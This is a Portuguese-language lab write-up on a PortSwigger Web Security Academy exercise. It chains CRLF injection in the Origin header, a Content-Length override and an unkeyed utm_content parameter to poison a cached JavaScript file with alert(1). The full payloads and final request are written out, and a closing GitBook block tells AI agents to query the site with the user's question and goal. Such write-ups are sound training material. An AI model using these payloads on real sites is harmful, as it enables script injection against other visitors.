> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/injection-into-cache-key.md).

# Injeção na chave do cache

Notas sobre injeção na chave do cache para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Injeção na Chave de Cache

### Injeção na Chave de Cache

Precisamos combinar várias falhas (incluindo **injeção na chave de cache**) para executar **`alert(1)`** no navegador da vítima. O laboratório exige o uso do cabeçalho **`Pragma: x-get-cache-key`**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a1acbb2d438aa7bece67036c8469117944898d1%2F%7BBB8AEC0B-2845-4707-92E0-E0EC29FFBE3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Reconhecimento

1/) Comportamento de login

* Temos um painel de conexão.
* Após o login, somos redirecionados para **`/login/?lang=en`**.
* Em seguida, um cookie de sessão é definido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2a931ab62b85905c663ead76ee92cf365cc591%2F%7BCFDA343D-18D9-4A4E-B201-AD2D2F448C34%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2/) Reflexão do `lang` parâmetro

* Nossa entrada aparece na resposta via `lang`:
* Exemplo: **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f28cdf50b4733c230a62e09dce3a6395f0ba559%2F%7B17906ACC-07FB-404C-A3F6-42BF0D0407C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Se colocarmos tags HTML (por ex., `<h1>`), **não executa**: há codificação HTML\*\*.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60fad42f0ec8cc458181020f44e82c2045433331%2F%7B475BC26C-7E37-43FF-99FE-E6EA7448F512%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ponto Operacional de Entrada

Arquivo JS oculto: `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

Notamos um script em segundo plano:

* **`/js/localize.js?lang=en&CORS=0`**
* Resposta observada:
* `document.cookie = 'lang=en';`

Se alterarmos `lang`, o valor é refletido:

* **`/js/localize.js?lang=hello&CORS=0`** → `hello` aparece na resposta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7743c4ea0cf45a253f8bd6de63e3cae9592ab5ce%2F%7B7FB44CFC-718B-41C9-8590-00A0B2841462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Observação da Chave de Cache

Adicionamos:

```http
Pragma: x-get-cache-key
```

E obtemos a chave:

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8aabb24c2d9bcf343b42fb004c768a9b4572c8e3%2F%7B3354A351-D591-4D44-A0AB-4E95DDDAF7FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Descobrimos que `CORS` influencia a chave, e que ao brincar **Origin** + `CORS`, podemos fazer variar o que entra no cache.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8811b02b819b929fa990224dc9f5335437a805ed%2F%7B6FB2F228-2C46-4DA5-81D4-9D3AF46409A0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Injeção de Cabeçalhos via Back Cart

Usamos injeção de CRLF:

* `%0d%0a`

```
man ascii
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54cb0267ca2ecc00028d4a38ca763b4e3bcc27e1%2Fimage%20(3098).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 1) Teste: Injeção de Cookie

Enviamos:

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

Resultado: o cookie é interpretado corretamente do lado da resposta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-163ad6f6a0e182eb18fa7ce90134fdf2259b9d77%2F%7B51717951-1BA3-466A-849A-AE795F6B5783%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Injeção de JavaScript manipulando `Content-Length`

Em seguida, tentamos injetar conteúdo na resposta com:

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

Na resposta, encontramos **`alert(1)`**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f4dadb4419f9e798e6edd81836d7db4d6b84892%2F%7B66177E98-484A-472A-B58B-FADF52A67773%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construir Resposta Oculta Direcionada

Para que o servidor armazene esta versão (com `alert(1)`), a **chave de cache** deve corresponder a um formato que inclua nossa injeção `Origin`, por exemplo:

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b27a41b9949dcdd648331b13506c94ade3d9fb49%2F%7BCE27C2CE-0BCC-4773-80C4-D26191AFA5A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Deslocamento do lado da vítima via um parâmetro ignorado

Procuramos um parâmetro ignorado pelo cache (encontrado com o Param Miner):

* **`utm_content`**

Reutilizamos a chave de cache e colocamos o payload em `utm_content` para servir o recurso envenenado ao visitar `lang=en`.

Requisição final (como usamos):

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0bd7ade7e74687ff349fe8ff48548b416b6cb63%2F%7B8B884C36-3E90-4DDF-8249-3CA7DAAFB044%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Quando a vítima abre a página em **`/login/?lang=en`** (via redirecionamento), o conteúdo envenenado é servido do cache, e **`alert(1)`** é executado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-688fd4eebedefee8f767ea116d0a28dad5ed05cf%2F%7BC2D5999F-6555-4179-B883-EC42FECE47B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/injection-into-cache-key.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
